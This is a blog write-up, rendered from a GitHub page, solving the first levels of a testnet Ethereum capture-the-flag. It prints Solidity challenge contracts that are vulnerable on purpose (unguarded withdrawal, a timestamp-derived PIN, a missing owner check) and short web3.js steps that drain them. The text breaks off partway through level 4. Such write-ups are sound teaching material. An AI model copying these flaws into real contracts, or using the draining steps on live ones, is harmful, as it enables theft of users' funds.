-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathblockchain_ctf15.html
661 lines (585 loc) · 65.9 KB
/
blockchain_ctf15.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<meta name="author" content="F3real" />
<meta name="keywords" content="ctf,ethereum,solidity" />
<meta name="description" content="How to solve Blockchain CTF lvl. 1-5" />
<title>Blockchain CTF Lvl. 1-5 - EnSec blog</title>
<link href="https://f3real.github.io/theme/css/combined.css" rel="stylesheet" />
<!-- Feeds -->
</head>
<body data-spy="scroll" data-target="#scrollspy">
<div id="wrapper">
<!-- Sidebar -->
<nav id="sidebar-wrapper-small" class="twitchy-background">
<ul id="accordion-small" class="sidebar-nav sidebar-nav-small">
<li>
<a href="https://f3real.github.io" title="EnSec blog" class="collapsed">
<span class="fas fa-home"></span>
</a>
</li>
<li class="nav-divider"></li>
<li>
<a href="https://f3real.github.io/archives.html" title="Recent Articles" class="collapsed">
<span class="fas fa-th-list"></span>
</a>
</li>
<li class="nav-divider"></li>
<li>
<a data-toggle="collapse" data-parent="#accordion-small" href="#collapse-social-small" title="Social" class="collapsed">
<i class="fas fa-users padding-small"></i>
</a>
</li>
<li class="panel anti-panel"><ul id="collapse-social-small" class="collapse ">
<li>
<a href="https://github.com/F3real" title="Github"><i class="fab fa-github-square padding-small"></i></a>
</li>
<li>
<a href="https://www.linkedin.com/in/stefan-ili%C4%87-61a004111" title="Linkedin"><i class="fab fa-linkedin padding-small"></i></a>
</li>
</ul></li>
<li class="nav-divider"></li>
<li>
<a href="#" title="Back to top" class="collapsed">
<span class="fas fa-arrow-up"></span>
</a>
</li>
</ul>
</nav>
<nav id="sidebar-wrapper" class="twitchy-background">
<ul id="accordion" class="sidebar-nav">
<li class="sidebar-brand">
<a href="https://f3real.github.io/">
<span class="fas fa-home padding-small"></span>
EnSec blog
</a>
</li>
<li>
<a href="https://f3real.github.io/archives.html">
<span class="fas fa-th-list padding-small"></span>
Archives
</a>
</li>
<li class="nav-divider"></li>
<li>
<a data-toggle="collapse" data-parent="#accordion" href="#collapse-social">
<i class="fas fa-users padding-small"></i>
Contact
</a>
</li>
<li class="panel anti-panel"><ul id="collapse-social" class="sidebar_submenu collapse ">
<li>
<a href="https://github.com/F3real" title="Github">
<i class="fab fa-github-square padding-small"></i>
Github
</a>
</li>
<li>
<a href="https://www.linkedin.com/in/stefan-ili%C4%87-61a004111" title="Linkedin">
<i class="fab fa-linkedin padding-small"></i>
Linkedin
</a>
</li>
</ul></li>
<li class="nav-divider"></li>
<li class="panel anti-panel"><ul id="collapse-pages" class="sidebar_submenu collapse ">
</ul></li>
<li class="nav-divider"></li>
<li>
<a data-toggle="collapse" data-parent="#accordion" href="#collapse-categories">
<i class="fas fa-folder-open padding-small"></i>
Categories
</a>
</li>
<li class="panel anti-panel"><ul id="collapse-categories" class="sidebar_submenu collapse ">
<li class="active">
<a href="https://f3real.github.io/category/ctf.html">
<i class="fas fa-folder-open padding-small"></i>
ctf
<span class="badge badge-secondary float-right categorybadge">28</span>
</a>
</li>
<li >
<a href="https://f3real.github.io/category/misc.html">
<i class="fas fa-folder-open padding-small"></i>
misc
<span class="badge badge-secondary float-right categorybadge">15</span>
</a>
</li>
<li >
<a href="https://f3real.github.io/category/reversing.html">
<i class="fas fa-folder-open padding-small"></i>
reversing
<span class="badge badge-secondary float-right categorybadge">6</span>
</a>
</li>
<li >
<a href="https://f3real.github.io/category/tutorial.html">
<i class="fas fa-folder-open padding-small"></i>
tutorial
<span class="badge badge-secondary float-right categorybadge">5</span>
</a>
</li>
</ul></li>
</ul>
</nav>
<!-- /#sidebar-wrapper -->
<!-- open/close sidebar -->
<button onclick="toggleMenu();return false;" class="btn btn-primary" id="menu-toggle">
<span id="right-arrow" class="fas fa-chevron-right" title="expand sidebar"></span>
<span id="left-arrow" class="fas fa-chevron-left" title="minimize sidebar"></span>
</button>
<!-- /open/close sidebar -->
<!-- Page Content -->
<div id="page-content-wrapper">
<div class="container-fluid">
<section id="content">
<article>
<div class="row">
<div class="col-lg-10">
<header class="page-header">
<h1>
<a href="https://f3real.github.io/blockchain_ctf15.html"
rel="bookmark"
title="Permalink to Blockchain CTF Lvl. 1-5">
Blockchain CTF Lvl. 1-5
</a>
<small>
<div class="post-info">
<div class="publish-info-block">
<small>
<span class="published">
<i class="fa fa-calendar padding-small"></i><time datetime="2018-12-17T10:01:00+01:00"> Mon 17 December 2018</time>
</span>
<span class="category">
<i class="fa fa-folder-open padding-small"></i><a href="https://f3real.github.io/category/ctf.html">ctf</a>
</span>
<span class="tags">
<i class="fa fa-tags padding-small"></i>
<a href="https://f3real.github.io/tag/ctf.html">ctf</a> / <a href="https://f3real.github.io/tag/ethereum.html">ethereum</a> / <a href="https://f3real.github.io/tag/solidity.html">solidity</a> </span>
</small>
</div>
</div><!-- /.post-info --> </small>
</h1>
</header>
</div>
</div>
<div class="row">
<div class="col-lg-10">
<div class="entry-content">
<p>Blockchain CTF can be found on
<a href="https://blockchain-ctf.securityinnovation.com/#/">here</a></p>
<p>To play, we just need to install and configure Metamask addon. It will give us our own etherium address (don't forget to change the network to <code>Ropsten Test Network</code>) and inject web3.js library into javascript context so we can access it through our browser console. </p>
<p>To get free test etherium, required to play go to <a href="https://faucet.metamask.io/">here</a> or <a href="https://faucet.ropsten.be/">here</a>.</p>
<p>Other useful tools for doing this CTF:</p>
<ul>
<li>Explore network transactions <a href="https://etherscan.io/">etherscan</a></li>
<li>Easy way to send eth or call contract functions <a href="https://mycrypto.com/">mycrypto</a></li>
</ul>
<p>So let's start:</p>
<div class="toc">
<ul>
<li><a href="#lvl-1-donation">Lvl 1 Donation</a></li>
<li><a href="#lvl-2-lock-box">Lvl 2 Lock Box</a></li>
<li><a href="#lvl-3-piggy-bank">Lvl 3 Piggy Bank</a></li>
<li><a href="#lvl-4-si-token-sale">Lvl 4 SI Token Sale</a></li>
<li><a href="#lvl-5-secure-bank">Lvl 5 Secure Bank</a></li>
</ul>
</div>
<h2 id="lvl-1-donation">Lvl 1 Donation</h2>
<p>When we open the challenge page, we are given contract address, contract ABI and solidity source code of target contract.</p>
<div class="highlight"><pre><span></span><code><span class="k">contract</span><span class="w"> </span><span class="ni">Donation</span><span class="w"> </span><span class="kt">is</span><span class="w"> </span>CtfFramework<span class="p">{</span>
<span class="w"> </span>using<span class="w"> </span>SafeMath<span class="w"> </span><span class="kt">for</span><span class="w"> </span><span class="kt">uint256</span><span class="p">;</span>
<span class="w"> </span><span class="kt">uint256</span><span class="w"> </span><span class="k">public </span><span class="nv">funds</span><span class="p">;</span>
<span class="w"> </span><span class="kt">constructor</span><span class="p">(</span><span class="kt">address</span><span class="w"> </span><span class="nv">_ctfLauncher</span><span class="p">,</span><span class="w"> </span><span class="kt">address</span><span class="w"> </span><span class="nv">_player</span><span class="p">)</span><span class="w"> </span><span class="kt">public</span><span class="w"> </span><span class="kt">payable</span>
<span class="w"> </span>CtfFramework<span class="p">(</span>_ctfLauncher<span class="p">,</span><span class="w"> </span>_player<span class="p">)</span>
<span class="w"> </span><span class="p">{</span>
<span class="w"> </span>funds<span class="w"> </span><span class="o">=</span><span class="w"> </span>funds<span class="p">.</span>add<span class="p">(</span><span class="k">msg.value</span><span class="p">);</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="kt">function</span><span class="p">()</span><span class="w"> </span><span class="kt">external</span><span class="w"> </span><span class="kt">payable</span><span class="w"> </span>ctf<span class="p">{</span>
<span class="w"> </span>funds<span class="w"> </span><span class="o">=</span><span class="w"> </span>funds<span class="p">.</span>add<span class="p">(</span><span class="k">msg.value</span><span class="p">);</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="kt">function</span><span class="w"> </span><span class="nv">withdrawDonationsFromTheSuckersWhoFellForIt</span><span class="p">()</span><span class="w"> </span><span class="kt">external</span><span class="w"> </span>ctf<span class="p">{</span>
<span class="w"> </span><span class="k">msg.sender</span><span class="p">.</span>transfer<span class="p">(</span>funds<span class="p">);</span>
<span class="w"> </span>funds<span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="m m-Decimal">0</span><span class="p">;</span>
<span class="w"> </span><span class="p">}</span>
<span class="p">}</span>
</code></pre></div>
<p>In this first contract, we see that we just need to call <code>withdrawDonationsFromTheSuckersWhoFellForIt</code> since it has <code>external</code> modifier. <code>external</code> modifier denotes that function can only be called from outside of contract.</p>
<p>Our solution:</p>
<div class="highlight"><pre><span></span><code><span class="kd">var</span><span class="w"> </span><span class="nx">abi</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">[...]</span>
<span class="kd">var</span><span class="w"> </span><span class="nx">tokenContractAddress</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s2">"contract_address"</span>
<span class="kd">var</span><span class="w"> </span><span class="nx">contract</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">web3</span><span class="p">.</span><span class="nx">eth</span><span class="p">.</span><span class="nx">contract</span><span class="p">(</span><span class="nx">abi</span><span class="p">).</span><span class="nx">at</span><span class="p">(</span><span class="nx">tokenContractAddress</span><span class="p">)</span>
<span class="c1">//set default account to account 0</span>
<span class="nx">web3</span><span class="p">.</span><span class="nx">eth</span><span class="p">.</span><span class="nx">defaultAccount</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">web3</span><span class="p">.</span><span class="nx">eth</span><span class="p">.</span><span class="nx">accounts</span><span class="p">[</span><span class="mf">0</span><span class="p">];</span>
<span class="nx">contract</span><span class="p">.</span><span class="nx">withdrawDonationsFromTheSuckersWhoFellForIt</span><span class="p">((</span><span class="nx">err</span><span class="p">,</span><span class="nx">res</span><span class="p">)=>{</span><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">err</span><span class="p">,</span><span class="nx">res</span><span class="p">);});</span>
</code></pre></div>
<h2 id="lvl-2-lock-box">Lvl 2 Lock Box</h2>
<div class="highlight"><pre><span></span><code><span class="k">pragma solidity</span><span class="w"> </span><span class="err">0.4.24</span><span class="p">;</span>
<span class="kt">import</span><span class="w"> </span><span class="s2">"../CtfFramework.sol"</span><span class="p">;</span>
<span class="k">contract</span><span class="w"> </span><span class="ni">Lockbox1</span><span class="w"> </span><span class="kt">is</span><span class="w"> </span>CtfFramework<span class="p">{</span>
<span class="w"> </span><span class="kt">uint256</span><span class="w"> </span><span class="k">private </span><span class="nv">pin</span><span class="p">;</span>
<span class="w"> </span><span class="kt">constructor</span><span class="p">(</span><span class="kt">address</span><span class="w"> </span><span class="nv">_ctfLauncher</span><span class="p">,</span><span class="w"> </span><span class="kt">address</span><span class="w"> </span><span class="nv">_player</span><span class="p">)</span><span class="w"> </span><span class="kt">public</span><span class="w"> </span><span class="kt">payable</span>
<span class="w"> </span>CtfFramework<span class="p">(</span>_ctfLauncher<span class="p">,</span><span class="w"> </span>_player<span class="p">)</span>
<span class="w"> </span><span class="p">{</span>
<span class="w"> </span>pin<span class="w"> </span><span class="o">=</span><span class="w"> </span>now<span class="o">%</span><span class="m m-Decimal">10000</span><span class="p">;</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="kt">function</span><span class="w"> </span><span class="nv">unlock</span><span class="p">(</span><span class="kt">uint256</span><span class="w"> </span><span class="nv">_pin</span><span class="p">)</span><span class="w"> </span><span class="kt">external</span><span class="w"> </span>ctf<span class="p">{</span>
<span class="w"> </span><span class="kt">require</span><span class="p">(</span>pin<span class="w"> </span><span class="o">==</span><span class="w"> </span>_pin<span class="p">,</span><span class="w"> </span><span class="s2">"Incorrect PIN"</span><span class="p">);</span>
<span class="w"> </span><span class="k">msg.sender</span><span class="p">.</span>transfer<span class="p">(</span><span class="kt">address</span><span class="p">(</span><span class="kt">this</span><span class="p">).</span>balance<span class="p">);</span>
<span class="w"> </span><span class="p">}</span>
<span class="p">}</span>
</code></pre></div>
<p>The second challenge is also pretty simple. Key is in the usage of <code>now</code> (an alias for <code>block.timestamp</code>) which is <code>uint256</code> value in seconds since the unix epoch.</p>
<p>In metamask, we can open our last transaction (that is the transaction used to create this contract), check the exact time, convert it to unix timestamp and just enter the last 4 digits to win.</p>
<h2 id="lvl-3-piggy-bank">Lvl 3 Piggy Bank</h2>
<div class="highlight"><pre><span></span><code><span class="k">pragma solidity</span><span class="w"> </span><span class="err">0.4.24</span><span class="p">;</span>
<span class="kt">import</span><span class="w"> </span><span class="s2">"../CtfFramework.sol"</span><span class="p">;</span>
<span class="kt">import</span><span class="w"> </span><span class="s2">"../../node_modules/openzeppelin-solidity/contracts/math/SafeMath.sol"</span><span class="p">;</span>
<span class="k">contract</span><span class="w"> </span><span class="ni">PiggyBank</span><span class="w"> </span><span class="kt">is</span><span class="w"> </span>CtfFramework<span class="p">{</span>
<span class="w"> </span>using<span class="w"> </span>SafeMath<span class="w"> </span><span class="kt">for</span><span class="w"> </span><span class="kt">uint256</span><span class="p">;</span>
<span class="w"> </span><span class="kt">uint256</span><span class="w"> </span><span class="k">public </span><span class="nv">piggyBalance</span><span class="p">;</span>
<span class="w"> </span><span class="kt">string</span><span class="w"> </span><span class="k">public </span><span class="nv">name</span><span class="p">;</span>
<span class="w"> </span><span class="kt">address</span><span class="w"> </span><span class="k">public </span><span class="nv">owner</span><span class="p">;</span>
<span class="w"> </span><span class="kt">constructor</span><span class="p">(</span><span class="kt">address</span><span class="w"> </span><span class="nv">_ctfLauncher</span><span class="p">,</span><span class="w"> </span><span class="kt">address</span><span class="w"> </span><span class="nv">_player</span><span class="p">,</span><span class="w"> </span><span class="kt">string</span><span class="w"> </span><span class="nv">_name</span><span class="p">)</span><span class="w"> </span><span class="kt">public</span><span class="w"> </span><span class="kt">payable</span>
<span class="w"> </span>CtfFramework<span class="p">(</span>_ctfLauncher<span class="p">,</span><span class="w"> </span>_player<span class="p">)</span>
<span class="w"> </span><span class="p">{</span>
<span class="w"> </span>name<span class="o">=</span>_name<span class="p">;</span>
<span class="w"> </span>owner<span class="o">=</span><span class="k">msg.sender</span><span class="p">;</span>
<span class="w"> </span>piggyBalance<span class="o">=</span>piggyBalance<span class="p">.</span>add<span class="p">(</span><span class="k">msg.value</span><span class="p">);</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="kt">function</span><span class="p">()</span><span class="w"> </span><span class="kt">external</span><span class="w"> </span><span class="kt">payable</span><span class="w"> </span>ctf<span class="p">{</span>
<span class="w"> </span>piggyBalance<span class="o">=</span>piggyBalance<span class="p">.</span>add<span class="p">(</span><span class="k">msg.value</span><span class="p">);</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="kt">modifier</span><span class="w"> </span>onlyOwner<span class="p">(){</span>
<span class="w"> </span><span class="kt">require</span><span class="p">(</span><span class="k">msg.sender</span><span class="w"> </span><span class="o">==</span><span class="w"> </span>owner<span class="p">,</span><span class="w"> </span><span class="s2">"Unauthorized: Not Owner"</span><span class="p">);</span>
<span class="w"> </span>_<span class="p">;</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="kt">function</span><span class="w"> </span><span class="nv">withdraw</span><span class="p">(</span><span class="kt">uint256</span><span class="w"> </span><span class="nv">amount</span><span class="p">)</span><span class="w"> </span><span class="kt">internal</span><span class="p">{</span>
<span class="w"> </span>piggyBalance<span class="w"> </span><span class="o">=</span><span class="w"> </span>piggyBalance<span class="p">.</span>sub<span class="p">(</span>amount<span class="p">);</span>
<span class="w"> </span><span class="k">msg.sender</span><span class="p">.</span>transfer<span class="p">(</span>amount<span class="p">);</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="kt">function</span><span class="w"> </span><span class="nv">collectFunds</span><span class="p">(</span><span class="kt">uint256</span><span class="w"> </span><span class="nv">amount</span><span class="p">)</span><span class="w"> </span><span class="kt">public</span><span class="w"> </span>onlyOwner<span class="w"> </span>ctf<span class="p">{</span>
<span class="w"> </span><span class="kt">require</span><span class="p">(</span>amount<span class="o"><=</span>piggyBalance<span class="p">,</span><span class="w"> </span><span class="s2">"Insufficient Funds in Contract"</span><span class="p">);</span>
<span class="w"> </span>withdraw<span class="p">(</span>amount<span class="p">);</span>
<span class="w"> </span><span class="p">}</span><span class="w"> </span>
<span class="p">}</span>
<span class="k">contract</span><span class="w"> </span><span class="ni">CharliesPiggyBank</span><span class="w"> </span><span class="kt">is</span><span class="w"> </span>PiggyBank<span class="p">{</span><span class="w"> </span>
<span class="w"> </span><span class="kt">uint256</span><span class="w"> </span><span class="k">public </span><span class="nv">withdrawlCount</span><span class="p">;</span>
<span class="w"> </span><span class="kt">constructor</span><span class="p">(</span><span class="kt">address</span><span class="w"> </span><span class="nv">_ctfLauncher</span><span class="p">,</span><span class="w"> </span><span class="kt">address</span><span class="w"> </span><span class="nv">_player</span><span class="p">)</span><span class="w"> </span><span class="kt">public</span><span class="w"> </span><span class="kt">payable</span>
<span class="w"> </span>PiggyBank<span class="p">(</span>_ctfLauncher<span class="p">,</span><span class="w"> </span>_player<span class="p">,</span><span class="w"> </span><span class="s2">"Charlie"</span><span class="p">)</span><span class="w"> </span>
<span class="w"> </span><span class="p">{</span>
<span class="w"> </span>withdrawlCount<span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="m m-Decimal">0</span><span class="p">;</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="kt">function</span><span class="w"> </span><span class="nv">collectFunds</span><span class="p">(</span><span class="kt">uint256</span><span class="w"> </span><span class="nv">amount</span><span class="p">)</span><span class="w"> </span><span class="kt">public</span><span class="w"> </span>ctf<span class="p">{</span>
<span class="w"> </span><span class="kt">require</span><span class="p">(</span>amount<span class="o"><=</span>piggyBalance<span class="p">,</span><span class="w"> </span><span class="s2">"Insufficient Funds in Contract"</span><span class="p">);</span>
<span class="w"> </span>withdrawlCount<span class="w"> </span><span class="o">=</span><span class="w"> </span>withdrawlCount<span class="p">.</span>add<span class="p">(</span><span class="m m-Decimal">1</span><span class="p">);</span>
<span class="w"> </span>withdraw<span class="p">(</span>amount<span class="p">);</span>
<span class="w"> </span><span class="p">}</span><span class="w"> </span>
<span class="p">}</span>
</code></pre></div>
<p>Description of challenge:</p>
<div class="highlight"><pre><span></span><code><span class="nx">This</span><span class="w"> </span><span class="nx">contract</span><span class="w"> </span><span class="nx">belongs</span><span class="w"> </span><span class="nx">to</span><span class="w"> </span><span class="nx">Charlie</span><span class="w"> </span><span class="nx">with</span><span class="w"> </span><span class="nx">the</span><span class="w"> </span><span class="nx">address</span><span class="w"> </span><span class="o">********</span><span class="p">,</span>
<span class="nx">Charlie</span><span class="w"> </span><span class="k">is</span><span class="w"> </span><span class="nx">the</span><span class="w"> </span><span class="nx">only</span><span class="w"> </span><span class="nx">person</span><span class="w"> </span><span class="nx">capable</span><span class="w"> </span><span class="nx">of</span><span class="w"> </span><span class="nx">withdrawing</span><span class="w"> </span><span class="nx">from</span><span class="w"> </span><span class="nx">this</span><span class="w"> </span><span class="nx">contract</span>
<span class="nx">Your</span><span class="w"> </span><span class="nx">wallet</span><span class="w"> </span><span class="k">is</span><span class="w"> </span><span class="o">********</span><span class="p">,</span><span class="w"> </span><span class="nx">so</span><span class="w"> </span><span class="nx">you</span><span class="w"> </span><span class="nx">are</span><span class="w"> </span><span class="k">not</span><span class="w"> </span><span class="nx">Charlie</span><span class="w"> </span><span class="k">and</span><span class="w"> </span><span class="nx">you</span><span class="w"> </span><span class="nx">can</span><span class="w"> </span><span class="k">not</span><span class="w"> </span><span class="nx">withdraw</span><span class="p">.</span>
</code></pre></div>
<p>If we look at <code>collectFunds</code> in <code>PiggyBank</code> we see <code>onlyOwner</code> modifier which checks if <code>msg.sender == owner</code> (<code>msg.sender</code> is address from which request was sent).</p>
<p>But in <code>CharliesPiggyBank</code>, which inherits from <code>PiggyBank</code>, the modifier is missing so we can just call it to win.</p>
<h2 id="lvl-4-si-token-sale">Lvl 4 SI Token Sale</h2>
<div class="highlight"><pre><span></span><code><span class="k">pragma solidity</span><span class="w"> </span><span class="err">0.4.24</span><span class="p">;</span>
<span class="kt">import</span><span class="w"> </span><span class="s2">"../CtfFramework.sol"</span><span class="p">;</span>
<span class="c1">// https://github.com/OpenZeppelin/openzeppelin-solidity/blob/v1.8.0/contracts/token/ERC20/StandardToken.sol</span>
<span class="kt">import</span><span class="w"> </span><span class="s2">"../StandardToken.sol"</span><span class="p">;</span>
<span class="k">contract</span><span class="w"> </span><span class="ni">SIToken</span><span class="w"> </span><span class="kt">is</span><span class="w"> </span>StandardToken<span class="w"> </span><span class="p">{</span>
<span class="w"> </span>using<span class="w"> </span>SafeMath<span class="w"> </span><span class="kt">for</span><span class="w"> </span><span class="kt">uint256</span><span class="p">;</span>
<span class="w"> </span><span class="kt">string</span><span class="w"> </span><span class="k">public </span><span class="nv">name</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s2">"SIToken"</span><span class="p">;</span>
<span class="w"> </span><span class="kt">string</span><span class="w"> </span><span class="k">public </span><span class="nv">symbol</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s2">"SIT"</span><span class="p">;</span>
<span class="w"> </span><span class="kt">uint</span><span class="w"> </span><span class="k">public </span><span class="nv">decimals</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="m m-Decimal">18</span><span class="p">;</span>
<span class="w"> </span><span class="kt">uint</span><span class="w"> </span><span class="k">public </span><span class="nv">INITIAL_SUPPLY</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="m m-Decimal">1000</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="p">(</span><span class="m m-Decimal">10</span><span class="w"> </span><span class="o">**</span><span class="w"> </span>decimals<span class="p">);</span>
<span class="w"> </span><span class="kt">constructor</span><span class="p">()</span><span class="w"> </span><span class="kt">public</span><span class="p">{</span>
<span class="w"> </span>totalSupply_<span class="w"> </span><span class="o">=</span><span class="w"> </span>INITIAL_SUPPLY<span class="p">;</span>
<span class="w"> </span>balances<span class="p">[</span><span class="kt">this</span><span class="p">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span>INITIAL_SUPPLY<span class="p">;</span>
<span class="w"> </span><span class="p">}</span>
<span class="p">}</span>
<span class="k">contract</span><span class="w"> </span><span class="ni">SITokenSale</span><span class="w"> </span><span class="kt">is</span><span class="w"> </span>SIToken<span class="p">,</span><span class="w"> </span>CtfFramework<span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="kt">uint256</span><span class="w"> </span><span class="k">public </span><span class="nv">feeAmount</span><span class="p">;</span>
<span class="w"> </span><span class="kt">uint256</span><span class="w"> </span><span class="k">public </span><span class="nv">etherCollection</span><span class="p">;</span>
<span class="w"> </span><span class="kt">address</span><span class="w"> </span><span class="k">public </span><span class="nv">developer</span><span class="p">;</span>
<span class="w"> </span><span class="kt">constructor</span><span class="p">(</span><span class="kt">address</span><span class="w"> </span><span class="nv">_ctfLauncher</span><span class="p">,</span><span class="w"> </span><span class="kt">address</span><span class="w"> </span><span class="nv">_player</span><span class="p">)</span><span class="w"> </span><span class="kt">public</span><span class="w"> </span><span class="kt">payable</span>
<span class="w"> </span>CtfFramework<span class="p">(</span>_ctfLauncher<span class="p">,</span><span class="w"> </span>_player<span class="p">)</span>
<span class="w"> </span><span class="p">{</span>
<span class="w"> </span>feeAmount<span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="m m-Decimal">10</span><span class="w"> </span>szabo<span class="p">;</span><span class="w"> </span>
<span class="w"> </span>developer<span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="k">msg.sender</span><span class="p">;</span>
<span class="w"> </span>purchaseTokens<span class="p">(</span><span class="k">msg.value</span><span class="p">);</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="kt">function</span><span class="w"> </span><span class="nv">purchaseTokens</span><span class="p">(</span><span class="kt">uint256</span><span class="w"> </span><span class="nv">_value</span><span class="p">)</span><span class="w"> </span><span class="kt">internal</span><span class="p">{</span>
<span class="w"> </span><span class="kt">require</span><span class="p">(</span>_value<span class="w"> </span><span class="o">></span><span class="w"> </span><span class="m m-Decimal">0</span><span class="p">,</span><span class="w"> </span><span class="s2">"Cannot Purchase Zero Tokens"</span><span class="p">);</span>
<span class="w"> </span><span class="kt">require</span><span class="p">(</span>_value<span class="w"> </span><span class="o"><</span><span class="w"> </span>balances<span class="p">[</span><span class="kt">this</span><span class="p">],</span><span class="w"> </span><span class="s2">"Not Enough Tokens Available"</span><span class="p">);</span>
<span class="w"> </span>balances<span class="p">[</span><span class="k">msg.sender</span><span class="p">]</span><span class="w"> </span><span class="o">+=</span><span class="w"> </span>_value<span class="w"> </span><span class="o">-</span><span class="w"> </span>feeAmount<span class="p">;</span>
<span class="w"> </span>balances<span class="p">[</span><span class="kt">this</span><span class="p">]</span><span class="w"> </span><span class="o">-=</span><span class="w"> </span>_value<span class="p">;</span>
<span class="w"> </span>balances<span class="p">[</span>developer<span class="p">]</span><span class="w"> </span><span class="o">+=</span><span class="w"> </span>feeAmount<span class="p">;</span><span class="w"> </span>
<span class="w"> </span>etherCollection<span class="w"> </span><span class="o">+=</span><span class="w"> </span><span class="k">msg.value</span><span class="p">;</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="kt">function</span><span class="w"> </span><span class="p">()</span><span class="w"> </span><span class="kt">payable</span><span class="w"> </span><span class="kt">external</span><span class="w"> </span>ctf<span class="p">{</span>
<span class="w"> </span>purchaseTokens<span class="p">(</span><span class="k">msg.value</span><span class="p">);</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="c1">// Allow users to refund their tokens for half price ;-)</span>
<span class="w"> </span><span class="kt">function</span><span class="w"> </span><span class="nv">refundTokens</span><span class="p">(</span><span class="kt">uint256</span><span class="w"> </span><span class="nv">_value</span><span class="p">)</span><span class="w"> </span><span class="kt">external</span><span class="w"> </span>ctf<span class="p">{</span>
<span class="w"> </span><span class="kt">require</span><span class="p">(</span>_value<span class="o">></span><span class="m m-Decimal">0</span><span class="p">,</span><span class="w"> </span><span class="s2">"Cannot Refund Zero Tokens"</span><span class="p">);</span>
<span class="w"> </span>transfer<span class="p">(</span><span class="kt">this</span><span class="p">,</span><span class="w"> </span>_value<span class="p">);</span>
<span class="w"> </span>etherCollection<span class="w"> </span><span class="o">-=</span><span class="w"> </span>_value<span class="o">/</span><span class="m m-Decimal">2</span><span class="p">;</span>
<span class="w"> </span><span class="k">msg.sender</span><span class="p">.</span>transfer<span class="p">(</span>_value<span class="o">/</span><span class="m m-Decimal">2</span><span class="p">);</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="kt">function</span><span class="w"> </span><span class="nv">withdrawEther</span><span class="p">()</span><span class="w"> </span><span class="kt">external</span><span class="w"> </span>ctf<span class="p">{</span>
